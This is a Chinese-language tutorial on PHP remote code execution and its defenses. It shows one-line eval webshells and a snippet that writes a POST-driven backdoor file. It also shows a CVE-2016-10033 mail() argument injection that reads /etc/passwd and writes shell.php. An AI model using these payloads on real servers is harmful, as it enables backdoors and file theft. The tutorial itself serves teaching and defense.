远程代码执行利用与防御

RCE(remote code execute)远程代码执行,其核心思想利用一些可以将参数作为代码执行的函数,构造恶意输入从而实施攻击。

PHP相关敏感函数

常见的敏感函数如下:

1
2
3
4
eval()preg_replace /eassertcall_user_func()call_user_func_array()create_function()
system()exec()shell_exec()passthru()escapeshellcmd()pcntl_exec()
还有一些文件包含等函数在文件包含相关文章中剖析,这里不再重复

eval()

Evaluates the given code as PHP.

如果不进行处理的话,非常危险的一个函数。我们都很熟悉的一个页面:

1
2
3
<?php
@eval("phpinfo();");
?>

最为简单的利用:

1
2
3
<?php
@eval($_GET["eval"]);
?>

更进一步的利用:

1
2
3
<?php
fputs(fopen('test.php','w+'),'<?php @eval($_POST["message"])?>');
?>

此时去访问/test.php并POST数据即可执行任意代码

preg_replace()

/e 修正符使preg_replace(),将replacement 参数当做php 代码执行

php 5.5之后/e修饰符已废用 使用preg_replace_callback()函数代替

1
2
3
4
mixed preg_replace ( mixed $pattern , mixed $replacement ,
mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 指定一个 callback 替代 replacement 进行替换 字符串的计算

create_function()

用于创建匿名函数,例如以下函数创建一个求和函数:

1
2
3
4
$sum=create_function('$a,$b','return $a+$b;');
echo $sum(2,3);
$evil=create_function('$a,$b','$_GET["evil"]');

mail()

来源于CVE-2016-10033

1
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

其主要的利用是其第5个参数additional_parameters:

1
2
3
4
The additional_parameters parameter can be used to pass additional flags as command line
options to the program configured to be used when sending mail, as defined by the
sendmail_path configuration setting. For example, this can be used to set the envelope
sender address when using sendmail with the -f sendmail option.

其参数可以允许传递额外参数作为命令行选项,造成威胁。
由于mail()函数的本质在*nix系统中是调用系统的sendmail()函数,那么可以看看手册有哪些可以利用的参数

1
2
3
-X logfile是记录log文件的,就是可以写文件;
-C file是临时加载一个配置文件,就是可以读文件;
-O option=value 是临时设置一个邮件存储的临时目录的配置。
# 任意文件读取

那么可以如下构造:

1
2
3
4
123@456 -C/etc/passwd -X/tmp/tmp.log
最终系统执行的内容为:
/usr/bin/sendmail –t –i -f 123@456 -C/etc/passwd -X/tmp/tmp.log

则这样会读取/etc/passwd内容写入tmp.log的文件中

# 任意文件写入
1
/usr/bin/sendmail –t –i -f 123@456 -oQ/tmp -X./shell.php

这里我们就不用知道web根目录,直接写文件到当前目录,写到shell.php文件的内容就是发送邮件的内容了,你可以写任意内容。

其他对于mail()函数的利用可以参考以下文章:

相关技巧

浅谈CTF中命令执行与绕过的小技巧

防御

  • 尽量不要执行外部的应用程序和命令
  • php使用escapeshellcmd()escapeshellarg() disable_functions中禁用
  • 在使用诸如:eval、preg_replace、assert这些函数的时候,确定参数的内容,严格过滤危险参数。
  • 接受的参数变量尽量用引号包裹,并在拼接前调用addslashes进行转义
  • 检查bash破壳漏洞
  • 检查各个反序列化命令执行漏洞

工具

  • tplmap
  • 各大反序列化检测工具